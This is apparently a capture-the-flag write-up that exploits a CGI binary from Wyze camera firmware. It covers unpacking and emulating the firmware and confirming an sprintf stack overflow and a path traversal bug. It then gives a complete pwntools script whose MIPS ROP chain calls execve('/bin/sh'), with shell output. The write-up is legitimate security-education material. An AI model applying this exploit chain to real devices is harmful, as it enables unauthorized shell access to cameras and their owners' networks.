#firmware #rop #mips ## Description Looks like there is a wyze cam at IP file: demo.bin aslr off # Vuln Research Unpack the firmware `binwalk -Mre demo.bin` `cd _demo.bin.extracted/squashfs-root` look through fs, find `/usr/www/cgi-bin/hello.cgi` Only cgi binary, navigate to `http://IP/cgi-bin/hello.cgi` and see its running ## Disassembly Binary is tiny and has little functionality ![](https://i.imgur.com/uz9MYLS.png) read_dir function just lists all files in a directory. The vuln part is that user inpunt from `QUERY_STRING` is passed into an `sprintf` call that does not do any bounds checking. There is also a path traversal vuln where if you pass `../../../` in front of a path you can list files in arbitrary directory. ## Emulating binary for testing `qemu-mipsel -L /home/chris/Desktop/wyze/_demo.bin.extracted/squashfs-root/ ./hello.cgi` ## Confirm vuln ``` export QUERY_STRING=name=$(cyclic 200) qemu-mipsel -strace -L /home/chris/Desktop/wyze/_demo.bin.extracted/squashfs-root/ ./hello.cgi ``` ``` --- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x61616174} --- qemu: uncaught target signal 11 (Segmentation fault) - core dumped [1] 1696156 segmentation fault qemu-mipsel -strace -L ./hello_final.cgi ``` ``` cyclic -l 0x61616174 -> 76 ``` Stack overflow with a buffer size of 76 ## Test on local CGI server Writing the explopit locally first on our own CGI server makes it easier create directory `cgi-bin` and place `hello.cgi` in it. create wrapper script to call qemu and create gdb server on port 1234 ```bash #!/bin/bash qemu-mipsel -g 1234 -L /home/chris/Desktop/wyze/_demo.bin.extracted/squashfs-root/ ./hello.cgi ``` Start server in directory containing `cgi-bin` dir `python -m CGIHTTPServer` ### Test Exploit Script ```python from pwn import * import requests context.binary = elf = ELF("./hello.cgi") payload = "A"*76 payload += "BBBB" io = remote("127.0.0.1",8000) io.send("GET /cgi-bin/wrapper.cgi?name={} HTTP/1.1\r\n".format(payload)) io.send("\r\n\r\n") io.interactive() ``` Run script. In another terminal start `gdb-multiarch` ``` gdb-multiarch cgi-bin/hello.cgi ``` Connect to gdb server and then continue execution ``` target remote 127.0.0.1:1234 continue ``` ![](https://i.imgur.com/k8cSf5U.png) Crash confirmed again in GDB control $ra # Exploit Dev Because exploit is passed through GET param, cant use null bytes. This means all gadgets in the hello.cgi binary are useless because they all start like `0x00400000` If the directory traversal ends up not working provide the mapping to leak libc base Can use gadgets in libc so just search for gadgets to place `/bin/sh` into `$a0` and `NULL` into `$a1` and `$a2` then rop to `execve` ## Gadgets First gadget I used was to place the addr of `/bin/sh` string into `$s0` ![](https://i.imgur.com/JNgDhkr.png) Second gadget used was to move `$s0` into `$a0` ![](https://i.imgur.com/LGpJjYp.png) Third gadget was to set `$v0` to `NULL` ![](https://i.imgur.com/48024Eg.png) Fourth Gadget was to set `$a2` to `$v0` ![](https://i.imgur.com/amkBHVy.png) Fifth gadget was to set `$a1` to `$a2` ![](https://i.imgur.com/NxmGU6q.png) ## Testing Rop chain Using the ropchain: ```python libc_base = 0x7f703000 bin_sh = libc_base + 0xa54d0 mv_a1_a2 = p32(libc_base+0x11a14) mv_a2_v0 = p32(libc_base+0x14ec4) mv_v0_0 = p32(libc_base+0x16338) mv_a0_s0 = p32(libc_base+0x12404) lw_s2 = p32(libc_base+0x11bb0) # payload = "A"*76 payload += lw_s2 payload += "BBBB"*10 payload += p32(bin_sh) #s0 payload += "DDDD" #s1 payload += "EEEE" #s2 payload += mv_a0_s0 #ra payload += "QQQQ"*45 payload += mv_v0_0 #ra payload += "1111"*7 payload += mv_a2_v0 #ra payload += "3333"*9 payload += mv_a1_a2 #ra payload += "4444"*35 payload += "ZZZZ" #ra ``` The binary now crashes at "ZZZZ": ![](https://i.imgur.com/pGtve4T.png) We can confirm `$a0` == `/bin/sh` and `$a1` and `$a2` or `NULL` ## Local Exploit Just changing the "ZZZZ" to the `execve` call and we get shell ```python from pwn import * import requests context.binary = elf = ELF("./hello.cgi") libc_base = 0x7f703000 execve = libc_base + 0xcb30 bin_sh = libc_base + 0xa54d0 mv_a1_a2 = p32(libc_base+0x11a14) mv_a2_v0 = p32(libc_base+0x14ec4) mv_v0_0 = p32(libc_base+0x16338) mv_a0_s0 = p32(libc_base+0x12404) lw_s2 = p32(libc_base+0x11bb0) payload = "A"*76 payload += lw_s2 payload += "BBBB"*10 payload += p32(bin_sh) #s0 payload += "DDDD" #s1 payload += "EEEE" #s2 payload += mv_a0_s0 #ra payload += "QQQQ"*45 payload += mv_v0_0 #ra payload += "1111"*7 payload += mv_a2_v0 #ra payload += "3333"*9 payload += mv_a1_a2 #ra payload += "4444"*35 payload += p32(execve) io = remote("127.0.0.1",8000) io.send("GET /cgi-bin/wrapper.cgi?name={} HTTP/1.1\r\n".format(payload)) io.send("\r\n\r\n") io.interactive() ``` Change the `wrapper.cgi` as well to remove the gdb option ### Result ```bash [*] '/home/chris/Desktop/pctf/cgi-bin/hello.cgi' Arch: mips-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [+] Opening connection to 127.0.0.1 on port 8000: Done [*] Switching to interactive mode HTTP/1.0 200 Script output follows Server: SimpleHTTP/0.6 Python/2.7.18 Date: Wed, 23 Dec 2020 21:35:58 GMT $ ls cgi-bin $ ls -la total 276 drwxr-xr-x 3 chris docker 4096 Dec 23 10:50 . drwxr-xr-x 31 chris docker 270336 Dec 23 10:09 .. drwxr-xr-x 2 chris docker 4096 Dec 23 16:35 cgi-bin $ whoami chris $ ```